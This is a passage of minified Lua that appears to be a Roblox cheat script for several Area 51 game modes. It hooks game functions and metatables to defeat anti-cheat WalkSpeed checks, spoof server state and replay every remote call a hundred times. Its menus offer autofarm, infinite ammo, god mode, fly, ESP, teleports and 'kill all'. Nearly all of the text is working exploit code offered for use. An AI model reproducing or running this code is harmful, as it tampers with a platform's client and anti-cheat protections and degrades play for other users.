weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif game.PlaceId==4678052190 then local o="BloodTheme"local x=n.CreateLib("Juggernaut Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("Teleports")game:GetService("Workspace").AREA51.MapLimit:Destroy()z:NewToggle("Juggernaut Autofarm:","Enables Autofarm for Juggernaut",function(R)if R then m.Notify("Enabled Autofarm","Press F to enable UI again","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end;for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA('TouchTransmitter')then v:Destroy()end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-5 until al.Humanoid.Health<=0 end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Kill all as Juggernaut","Kills all Players",function(R)if R then local ap=game.Workspace.Killers.Model;local aq=player.Character;local ar=game:GetService("Players"):GetPlayers()for K,v in pairs(ar)do repeat wait()ap.Torso.CFrame=CFrame.new(v.Character.Head.Position)until v.Character.Humanoid<=0 end else print("Toggle Off")end end)z:NewButton("Teleport to Juggernaut","Teleports to the juggernaut",function()repeat wait()for a2,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-6 end end until v.Humanoid.Health==0 end)z:NewToggle("Annoy Juggernaut:","Attempts to annoy Juggernaut",function(R)if R then m.Notify("Annoying Juggernaut","lol","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.autoFarm=true;local l=game.Workspace.CurrentCamera;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;if game.Players.LocalPlayer.Character.Humanoid.RigType==Enum.HumanoidRigType.R6 then game.Players.LocalPlayer.Character.Head.CanCollide=false;game.Players.LocalPlayer.Character.Torso.CanCollide=false;game.Players.LocalPlayer.Character["Left Leg"].CanCollide=false;game.Players.LocalPlayer.Character["Right Leg"].CanCollide=false else if game.Players.LocalPlayer.Character.Humanoid.RigType==Enum.HumanoidRigType.R15 then game.Players.LocalPlayer.Character.Head.CanCollide=false;game.Players.LocalPlayer.Character.UpperTorso.CanCollide=false;game.Players.LocalPlayer.Character.LowerTorso.CanCollide=false;game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide=false end end;wait(.1)local as=Instance.new("BodyThrust")as.Parent=game.Players.LocalPlayer.Character.HumanoidRootPart;as.Force=Vector3.new(power,0,power)as.Location=game.Players.LocalPlayer.Character.HumanoidRootPart.Position;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame until al.Humanoid.Health<=0 end end end end else _G.autofarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewButton("Exit-Spectate","Exits spectate",function()workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewButton("NoClip","Click this to turn on NoClip",function()k.Character.Humanoid:ChangeState(11)end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One Shot Juggernaut","Gives you more Damage on Killers",function()local a8={repeatamount=100,exceptions={"SayMessageRequest"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()for K,a7 in next,a8.exceptions do if ac.Name==a7 then return aa(ac,...)end end;if ae=="FireServer"or ae=="InvokeServer"then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("PLAYER ESP/JUGGERNAUT ESP")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Juggernaut ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.7;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace.Killers:GetDescendants())do pcall(function()if v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("AREA51 Doors:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)elseif game.PlaceId==2675280735 then local o="BloodTheme"local x=n.CreateLib("Endless Survival Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("Auto/Repair Planks")z:NewToggle("Autofarm Killers:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm","Press F to enable UI again","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.autoFarm=true;local l=game.Workspace.CurrentCamera;for a2,v in pairs(game:GetDescendants())do if v:IsA("TouchTransmitter")then v:Destroy()end end;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;while wait(0.5)do if _G.autoFarm==true then mouse1click()while wait(0.5)do for a2,al in pairs(game:GetService("Workspace").Killers:GetChildren())do if al:IsA("Model")then repeat wait(0.2)game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-7 until al.Zombie.Health<=0 end end end else _G.autofarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end end end)z:NewToggle("Auto-Repair Planks","Auto-Repairs Planks",function(R)if R then _G.autoRepair=true;while _G.autoRepair==true do wait(0.5)for K,v in pairs(game:GetService("Workspace").AREA51:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Parent.Name=="Planks"then fireclickdetector(v)end end end else _G.autoRepair=false end end)z:NewToggle("Auto-Turn-On-all Traps","Automatically turns on Traps",function(R)if R then _G.autoRepair=true;while _G.autoRepair==true do wait(0.5)for a2,v in pairs(game:GetService("Workspace").Traps:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Click"then fireclickdetector(v)end end end else _G.autoRepair=false end end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)z:NewButton("Turn-Power On","This turns on the power.",function()for 